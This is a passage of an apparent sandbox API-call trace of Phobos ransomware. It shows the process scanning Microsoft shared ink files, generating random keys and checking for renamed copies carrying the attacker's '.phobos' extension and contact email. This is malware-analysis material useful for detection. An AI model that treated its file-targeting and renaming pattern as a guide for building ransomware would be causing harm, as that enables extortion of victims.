(lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0163.600] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.600] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.600] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.603] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.604] ResetEvent (hEvent=0x29c) returned 1 [0163.604] SetEvent (hEvent=0x2a0) returned 1 [0163.604] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0163.604] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0163.605] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=208408) returned 1 [0163.605] CloseHandle (hObject=0x2d0) returned 1 [0163.605] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0163.606] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.606] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.606] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.610] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.611] ResetEvent (hEvent=0x29c) returned 1 [0163.611] SetEvent (hEvent=0x2a0) returned 1 [0163.611] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0163.611] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0163.612] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=181964) returned 1 [0163.612] CloseHandle (hObject=0x2d0) returned 1 [0163.613] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0163.613] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.613] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.613] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.622] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.625] ResetEvent (hEvent=0x29c) returned 1 [0163.625] SetEvent (hEvent=0x2a0) returned 1 [0163.626] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0163.626] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0163.626] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=1434) returned 1 [0163.626] CloseHandle (hObject=0x2d4) returned 1 [0163.627] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0163.627] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.627] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.627] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.630] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.631] ResetEvent (hEvent=0x29c) returned 1 [0163.631] SetEvent (hEvent=0x2a0) returned 1 [0163.631] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0163.631] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0163.632] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=903) returned 1 [0163.632] CloseHandle (hObject=0x2d4) returned 1 [0163.632] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml")) returned 0x20 [0163.632] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.632] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.632] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.635] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.636] ResetEvent (hEvent=0x29c) returned 1 [0163.636] SetEvent (hEvent=0x2a0) returned 1 [0163.636] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0163.636] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0163.637] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=384) returned 1 [0163.637] CloseHandle (hObject=0x2d4) returned 1 [0163.637] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20 [0163.637] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.637] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.638] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.640] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.641] ResetEvent (hEvent=0x29c) returned 1 [0163.641] SetEvent (hEvent=0x2a0) returned 1 [0163.641] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0163.641] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0163.642] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=392) returned 1 [0163.642] CloseHandle (hObject=0x2d4) returned 1 [0163.642] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0163.642] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.642] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.642] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.645] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.647] ResetEvent (hEvent=0x29c) returned 1 [0163.647] SetEvent (hEvent=0x2a0) returned 1 [0163.647] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0163.647] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0163.647] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=3333) returned 1 [0163.647] CloseHandle (hObject=0x2d4) returned 1 [0163.648] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml")) returned 0x20 [0163.648] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.648] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.648] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.651] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.651] ResetEvent (hEvent=0x29c) returned 1 [0163.651] SetEvent (hEvent=0x2a0) returned 1 [0163.651] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0163.651] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0163.652] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=3524) returned 1 [0163.652] CloseHandle (hObject=0x2d4) returned 1 [0163.653] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml")) returned 0x20 [0163.653] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.653] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.653] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.656] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.657] ResetEvent (hEvent=0x29c) returned 1 [0163.657] SetEvent (hEvent=0x2a0) returned 1 [0163.657] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0163.657] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0163.658] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=738) returned 1 [0163.658] CloseHandle (hObject=0x2d4) returned 1 [0163.658] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml")) returned 0x20 [0163.658] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.658] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.658] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.661] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.662] ResetEvent (hEvent=0x29c) returned 1 [0163.662] SetEvent (hEvent=0x2a0) returned 1 [0163.662] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0163.662] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0163.663] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=488) returned 1 [0163.663] CloseHandle (hObject=0x2d4) returned 1 [0163.663] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml")) returned 0x20 [0163.664] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.664] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.664] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.677] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.678] ResetEvent (hEvent=0x29c) returned 1 [0163.678] SetEvent (hEvent=0x2a0) returned 1 [0163.678] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0163.678] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0163.679] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=16616) returned 1 [0163.679] CloseHandle (hObject=0x2d4) returned 1 [0163.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml")) returned 0x20 [0163.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.679] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.679] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.682] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.682] ResetEvent (hEvent=0x29c) returned 1 [0163.682] SetEvent (hEvent=0x2a0) returned 1 [0163.682] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0163.682] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0163.683] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=9803) returned 1 [0163.683] CloseHandle (hObject=0x2d4) returned 1 [0163.683] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml")) returned 0x20 [0163.683] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.683] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.683] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.687] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.687] ResetEvent (hEvent=0x29c) returned 1 [0163.687] SetEvent (hEvent=0x2a0) returned 1 [0163.687] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0163.687] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0163.688] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=10947) returned 1 [0163.688] CloseHandle (hObject=0x2d4) returned 1 [0163.688] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml")) returned 0x20 [0163.688] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.688] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.689] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.753] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.798] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0163.798] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft 